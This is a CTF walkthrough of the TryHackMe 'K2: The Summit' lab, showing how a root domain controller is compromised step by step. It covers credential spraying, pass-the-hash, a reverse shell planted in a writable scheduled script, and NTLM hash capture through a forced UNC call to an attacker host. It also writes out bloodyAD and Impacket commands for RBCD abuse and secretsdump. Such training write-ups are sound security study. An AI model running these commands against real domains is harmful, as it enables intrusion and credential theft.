Difficulty: Hard
Key Skills: Active Directory Enumeration, Credential Reuse, Pass-the-Hash, BloodHound Analysis, Lateral Movement, RBCD
Challenge: K2: The Summit
Platform: TryHackMe
Overview #
This is the final leg of the K2 challenge series. After breaching the web server and compromising the first domain controller in Parts 1 and 2, now, we face the root domain controller. The summit of K2. The goal is to leverage everything we’ve gathered so far to achieve full domain compromise.
Challenge Description #
You are almost there; you can see the summit from where you stand. Even the IT team is impressed at how far you have made into the network.
You can’t stop now; with all of the information gathered, you will reach the very top and prove your skills.
Starting Position #
From the previous challenges, we’ve accumulated the following credentials:
Valid User Credentials:
j.bold@k2.thm:#8rockyou
r.bud@k2.thm:vRMkaVgdfxhW!8
j.smith@k2.thm:Password1Password List for Spraying:
Pwd@9tLNrC3!
VrMAogdfxW!9
PasSW0Rd321
St3veRoxx32
PartyAlLDaY!32
L0v3MyDog!3!
PikAchu!IshoesU!
vRMkaVgdfxhW!8
RdzQ7MSKt)fNaz3!
#8rockyou
Password1NTLM Hashes:
Administrator:9545b61858c043477c350ae86c37b32fWith these credentials in hand, it’s time to enumerate the root domain controller.
Reconnaissance #
Port Scanning #
I started with a RustScan to quickly identify open ports, piping the results into Nmap for service enumeration:
┌──(parallels㉿Kali)-[~/targets/k2/summit]
└─$ rustscan -a 10.80.189.251 -- -A -oN scan.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports like it's my full-time job. Wait, it is.
[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.80.189.251:53
Open 10.80.189.251:88
Open 10.80.189.251:139
Open 10.80.189.251:135
Open 10.80.189.251:389
Open 10.80.189.251:445
Open 10.80.189.251:464
Open 10.80.189.251:593
Open 10.80.189.251:636
Open 10.80.189.251:3269
Open 10.80.189.251:3268
Open 10.80.189.251:3389
Open 10.80.189.251:5985
Open 10.80.189.251:7680
Open 10.80.189.251:9389
Open 10.80.189.251:49670
Open 10.80.189.251:49671
Open 10.80.189.251:49669
Open 10.80.189.251:49679
Open 10.80.189.251:49675
Open 10.80.189.251:49704
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -oN scan.txt" on ip 10.80.189.251
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-05 09:38 -0500
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-02-05 14:39:01Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: k2.thm, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 126
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: k2.thm, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 126
3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
|_ssl-date: 2026-02-05T14:40:44+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=K2RootDC.k2.thm
| Issuer: commonName=K2RootDC.k2.thm
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub? syn-ack ttl 126
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
49669/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49671/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49679/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49704/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
Running (JUST GUESSING): Microsoft Windows 2019 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Windows Server 2019 (97%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: K2ROOTDC; OS: Windows; CPE: cpe:/o:microsoft:windowsThe scan reveals a classic Active Directory domain controller setup. Key observations:
- DNS name:
K2RootDC.k2.thm— added this to/etc/hostsimmediately - Port 88 (Kerberos): Confirms this is a domain controller
- Port 5985 (WinRM): Potential remote management access if we get valid credentials
- Port 3389 (RDP): Another potential access vector once we get valid creds
- OS: Windows Server 2019
Anonymous Enumeration with enum4linux-ng #
Before trying our credentials, I always check what information can be gathered anonymously. enum4linux-ng is my go to tool for this:
┌──(parallels㉿Kali)-[~/targets/k2/summit]
└─$ enum4linux-ng -A 10.80.189.251 -oA results.txt
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 10.80.189.251
[*] Username ......... ''
[*] Random Username .. 'mdlbqmji'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
======================================
| Listener Scan on 10.80.189.251 |
======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
=====================================================
| Domain Information via LDAP for 10.80.189.251 |
=====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: k2.thm
============================================================
| NetBIOS Names and Workgroup/Domain for 10.80.189.251 |
============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
==========================================
| SMB Dialect Check on 10.80.189.251 |
==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
============================================================
| Domain Information via SMB session for 10.80.189.251 |
============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: K2ROOTDC
NetBIOS domain name: K2
DNS domain: k2.thm
FQDN: K2RootDC.k2.thm
Derived membership: domain member
Derived domain: K2
==========================================
| RPC Session Check on 10.80.189.251 |
==========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
====================================================
| Domain Information via RPC for 10.80.189.251 |
====================================================
[+] Domain: K2
[+] Domain SID: S-1-5-21-1966530601-3185510712-10604624
[+] Membership: domain member
================================================
| OS Information via RPC for 10.80.189.251 |
================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
======================================
| Users via RPC on 10.80.189.251 |
======================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
=======================================
| Groups via RPC on 10.80.189.251 |
=======================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
=======================================
| Shares via RPC on 10.80.189.251 |
=======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
==========================================
| Policies via RPC for 10.80.189.251 |
==========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
==========================================
| Printers via RPC for 10.80.189.251 |
==========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 24.54 secondsThe server allows null session authentication, but we have no permissions to enumerate users, groups, or shares. However, we did obtain the Domain SID (S-1-5-21-1966530601-3185510712-10604624), which could be useful for SID brute forcing.
Testing SMB and RPC Access #
I verified the null session findings manually. While authentication succeeds, we have no meaningful permissions:

Direct RPC authentication as anonymous confirms the same, we can connect but can’t enumerate:

Since we have the Domain SID from enum4linux, I attempted to use lookupsid.py from Impacket to enumerate users by brute forcing RIDs:

No luck, the anonymous access restrictions are too tight. Time to leverage the credentials from previous challenges.
Initial Access #
User Validation with Kerbrute #
Before attempting authentication, I wanted to verify which of our previously obtained users exist on this new domain controller. For this, we use Kerbrute userenum.

We have a hit: j.smith is a valid user on this domain.
Testing Attack Vectors #
With a valid username confirmed, I tested several attack vectors:
AS-REP roasting: Attempted to asrep roast the user, but user didnt have dont require pre auth set:

Username as Password: A quick check for the lazy admin scenario where username equals password:

No luck there either.
Anonymous LDAP Dump: Tried to extract LDAP data without credentials:

LDAP requires an authentication bind, we can’t dump anonymously.
Password Policy Enumeration: Before attempting a brute force, I wanted to know the lockout threshold. Unfortunately, querying the password policy anonymously also fails:

Password Spraying: Using our collected password list against j.smith:

None of the passwords worked. At this point, I needed to think more creatively.
Pass the Hash: Credential Reuse Wins! #
One attack vector I hadn’t tried yet: testing if the Administrator hash from the previous domain controller works for j.smith on this DC.
Using NetExec to pass the Administrator’s NTLM hash for the j.smith account:

It worked! This is a classic example of credential reuse, someone configured j.smith’s password to be the same as the Administrator account from the previous DC.
Getting a Shell #
With valid credentials confirmed, I used Evil-WinRM to establish a shell:

We now have a foothold on the root domain controller as j.smith. No flag in this user’s directory though, so we need to move laterally or escalate privileges.
Enumeration with BloodHound #
With valid domain credentials, it’s time to map out the Active Directory environment. BloodHound is invaluable for visualizing attack paths in AD environments. I ran the Bloodhound-Python collector to gather data:

After importing the data into BloodHound, I began analyzing users with interesting privileges.
Identifying the Target: o.armstrong #
Examining the users, I discovered o.armstrong has some very valuable permissions:

Looking more closely at o.armstrong’s privileges:

o.armstrong has GenericWrite privileges over the K2ROOTDC computer object. GenericWrite on a computer object allows us to configure Resource Based Constrained Delegation (RBCD), which is a path to domain admin. We need to compromise this user.
Lateral Movement to o.armstrong #
Discovery: Writable Scheduled Task #
While exploring the file system, I found something interesting in C:\Scripts:

A backup.bat script owned by o.armstrong! The script copies notes from Desktop to Documents, likely running on a schedule. If we can modify this script, we can execute code as o.armstrong.
Checking our permissions on the Scripts directory:

Our user (j.smith) has Full Control over this directory. This means we can replace the batch file with our own malicious version.
Crafting the Payload #
I generated a PowerShell reverse shell payload and placed it in a batch file:

After uploading the malicious backup.bat to replace the original (and ensuring proper permissions so o.armstrong can execute it), I set up a listener and waited.
Shell as o.armstrong #
Moments later, the scheduled task ran, and we received our reverse shell:

Checking o.armstrong’s desktop:

User flag captured!
Privilege Escalation via RBCD #
Now comes the exciting part. We control o.armstrong, who has GenericWrite over K2ROOTDC. This allows us to perform a Resource Based Constrained Delegation (RBCD) attack.
RBCD Attack Explained #
RBCD allows a computer to specify which accounts can impersonate users to it. With GenericWrite on the DC’s computer object, we can:
- Create a new machine account (we control its credentials)
- Configure the DC to trust our machine account for delegation
- Request a service ticket impersonating any user (like Administrator)
- Use that ticket to access the DC as Administrator
Step 1: Obtain o.armstrong’s Password #
To use bloodyAD for the RBCD attack, we need o.armstrong’s plaintext password or hash. I used Responder to capture the NTLMv2 hash via SMB authentication:
sudo responder -I tun0 Then forced authentication from our shell:
cmd.exe /c \\192.168.164.168\share Responder captured the hash:

The NTLMv2 hash cant be passed, but can be cracked.
Step 2: Crack the Hash #
Using hashcat with rockyou.txt:

Password cracked: arMStronG08
Step 3: Create a Machine Account #
Using bloodyAD (following the excellent adminions.ca cheatsheet), I created a new computer account using BloodyAD:
bloodyAD --host 10.81.184.202 -d k2.thm -u o.armstrong -p arMStronG08 add computer 'Hello' 'Hello'
Step 4: Configure RBCD #
Now we configure the DC to allow our machine account to delegate to it using BloodyAD:
bloodyAD --host 10.81.184.202 -d k2.thm -u o.armstrong -p arMStronG08 add rbcd K2ROOTDC$ Hello$
Step 5: Request Administrator Ticket #
With RBCD configured, we can now impersonate any user. Let’s get a ticket as Administrator:
getST.py -dc-ip 10.81.184.202 -impersonate Administrator k2.thm/o.armstrong:arMStronG08
Step 6: Export and Use the Ticket #
Export the ticket so our tools can use it:

Step 7: Dump Domain Secrets #
With our Administrator ticket, we can now dump the entire domain:
secretsdump.py K2ROOTDC.k2.thm -k 
We have the Administrator’s NTLM hash!
Step 8: Pass-the-Hash to Root #
Finally, using Evil-WinRM we can authenticate with the Administrator hash:

Root flag captured! The K2 Summit is complete!
Key Takeaways #
Technical Lessons #
-
Credential Reuse is Rampant: The initial foothold came from testing if the Administrator hash from a previous DC worked for a different user. Always test for password/hash reuse across accounts and systems.
-
BloodHound is Essential: Without BloodHound, identifying that o.armstrong had GenericWrite over the DC would have been much harder. Always run BloodHound collection right when you get domain credentials.
-
Explore the Filesystem: The writable backup script wasn’t in any standard location. Manual enumeration of the filesystem revealed a critical lateral movement opportunity.
-
RBCD is Powerful: GenericWrite on a computer object might not seem dangerous at first glance, but it enables RBCD attacks that can lead directly to domain admin.
Tools Used #
- RustScan/Nmap — Port scanning and service enumeration
- enum4linux-ng — SMB/RPC enumeration
- Kerbrute — Kerberos user validation
- NetExec — redential testing
- Evil-WinRM — Windows remote shell
- BloodHound/SharpHound — AD attack path mapping
- Responder — NTLM hash capture
- Hashcat — Password cracking
- bloodyAD — AD manipulation (RBCD configuration)
- Impacket (getST.py, secretsdump.py) — Kerberos ticketing and credential dumping
The K2 series provided an excellent progression through increasingly complex Active Directory attacks. This was probably my favorite ctf series ive done so far.